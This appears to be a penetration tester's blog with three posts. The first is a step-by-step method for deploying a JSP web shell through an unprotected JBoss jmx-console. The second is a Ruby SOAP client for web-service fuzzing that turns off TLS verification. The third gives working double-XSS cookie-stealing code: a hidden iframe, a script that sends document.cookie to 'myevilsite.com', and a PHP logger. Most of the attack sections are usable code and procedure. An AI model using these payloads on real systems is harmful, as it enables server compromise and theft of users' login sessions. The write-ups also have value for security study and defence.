The curious case of JBoss Hacking

Hi everyone.

Today I'd like to talk about the Hacking of Jboss.

There are lots of resources on the net about it but maybe reading this article will hopefully help you when you come to a dead end because the configuration is not so standard.

The prerequisite is that you have access to the jmx-console as admin.
It is not so rare seeing jboss where the jmx-console is not password protected.

Well now what...

You would like to shovel your nice shell by using the addURL() function in the DeploymentScanner, but suddenly you think wtf ....the victim machine cannot connect to my web server on any port (no reverse, only bind allowed)

There is a workaround as described in this very detailed and nice paper:

http://www.redteam-pentesting.de/publications/jboss (Read it before going further on)

The technique described is about using another jboss class called: DeploymentFileRepository
at:


http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository


and its very useful store() function.
but sometimes thing go wrong anyway when you realize that after posting your jsp code, it doesn't get deployed by Jboss.
This is due to the fact that path where your, say shell.war, dir resides is not in the list of the deploymentscanner url and so the hot deployment fails
The solution is to verify where is your directory by inducing the server to an error:

Function description:

void store()

MBean Operation.
Param ParamType ParamValue ParamDescription
p1 java.lang.String (no description)
p2 java.lang.String (no description)
p3 java.lang.String (no description)
p4 java.lang.String (no description)
p5 boolean True False (no description)

Expected values:
p1 = shell.war (your dir name)
p2 = shell (name of the jsp file containing the code)
p3 = .jsp (extension)
p4 = (jsp code)
p5 = true

Error inducing values:
p1 = ../shell.war
p2 = shell
p3 = .jsp
p4 =
p5 = true

Next check the following line:

java.lang.IllegalArgumentException: child '../helpme.war' should be a child of parent '/prd/jboss/bws/web/bws106/./deploy/management'
org.jboss.console.manager.DeploymentFileRepository.getFile(DeploymentFileRepository.java:151)

The path '/prd/jboss/bws/web/bws106/deploy/management' is where your shell.war is residing.
Now that we know it, we have only to use the addURL() function of the deploymentscanner class.

So head to:
http://host:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

Function description:

void addURL()

MBean Operation.
Param ParamType ParamValue ParamDescription
p1 java.lang.String (no description)


The url to input in the form relative to addURL() function is:
file:/prd/jboss/bws/web/bws106/deploy/management/

Note the trailing slash.

Now call your shell by loading the following url:

http://host:8080/shell/shell.jsp

Bye for now...

Ruby SOAP client with basic authentication and client certificate

During these days I had the need to do a pentest to a web service but since wsfuzzer wasn't working correctly I had to write my own ruby soap client that was able to connect to a ssl protected web service with client certificate and basic authentication.
After many hours spent looking for the suitable library, I've decided to use savon with ruby 1.8.7 (DON'T USE RUBY 1.9.1, it won't work).
First I had to convert 1 p12 certificate into 2 pem:

openssl pkcs12 -in global.p12 -out global.pem

Then we cut the private key part from global pem and copy it into protected_key.pem
and issue the command:
(you gotta provide the password of your private key)

mv global.pem cert.pem

openssl rsa -in protected_key.pem -out key.pem

The we can finally write the ruby code:

require 'rubygems'

require 'savon'

client = Savon::Client.new "https://example.com/services?wsdl" client.request.http.ssl_client_auth(

:cert = OpenSSL::X509::Certificate.new(File.read("cert.pem")),
:key = OpenSSL::PKey::RSA.new(File.read("key.pem")),

:verify_mode => OpenSSL::SSL::VERIFY_NONE )

#BASIC AUTHENTICATION

client.request.basic_auth "User", "Password"

puts client.wsdl.soap_actions

#puts client.wsdl.namespace_uri

#don't forget @inorder otherwise the client will send you key values in a different sequence different from #the one you wrote down

response = client.add_customer do |soap|

soap.body = {

:id =111,

:tel =1233,

:issuer =asder,

:payment_mode =1,

:alias =asd,

:@inorder = [:id, :tel, :issuer, :payment_mode, :alias] }

end

puts response.to_xml

Finally you have to add some permutation to your values to make it a real soap fuzzer. You can start by getting the file all_attacks.txt used by from WSFuzzer

How to steal cross domain cookies via double XSS

During a pentest to a big company using SSO (single-sign-on) system I found a stored xss in one of their site, call it "a.com". This site unfortunately doesn't partecipate in the SSO login system, so I had to devise a way to use it to steal the cookies from one of the SSO domains. After some tests I found that "b.com" (one of the SSO domains) was vulnerable to reflected xss, so by injecting an iframe in a.com that as a source was calling the vulnerable "b.com" url that in turn was loading an image that as a source was calling my server I managed to steal sso authenticated cookies. Let's see some code: (the code is taking advantage of jquery.js since it was originally loaded by a.com) The following code is an external js injected in the stored xss vulnerable parameter in "a.com"

$(document).ready(function() {
var el = document.createElement("iframe");
el.setAttribute('id', 'ifrm');
el.setAttribute('heigth', '0');
el.setAttribute('width', '0');
el.style.visibility="hidden";
document.body.appendChild(el);
url="http://www.b.com/index.php?query=%22%3CSCRIPT/SRC=http://myevilsite.com/Cookie_Stealer/ex.js?";
el.setAttribute('src', url);

});

where ex.js is:

var Image = document.createElement("img");
Image.setAttribute("width","30");
Image.src="http://myevilsite.com/Cookie_Stealer/stealer.php?c="+encodeURI(document.cookie)+"&location="+document.location;

and stealer.php code is:

<?php
$cookie = $_GET["c"];
echo $cookie;
$file = fopen("cookielog.txt", "a")
or die("Cannot open it");
fwrite($file, $cookie . "\n\n");
?>

Finally by visiting a.com while being logged to any of the SSO domains causes your credentials being sent to my server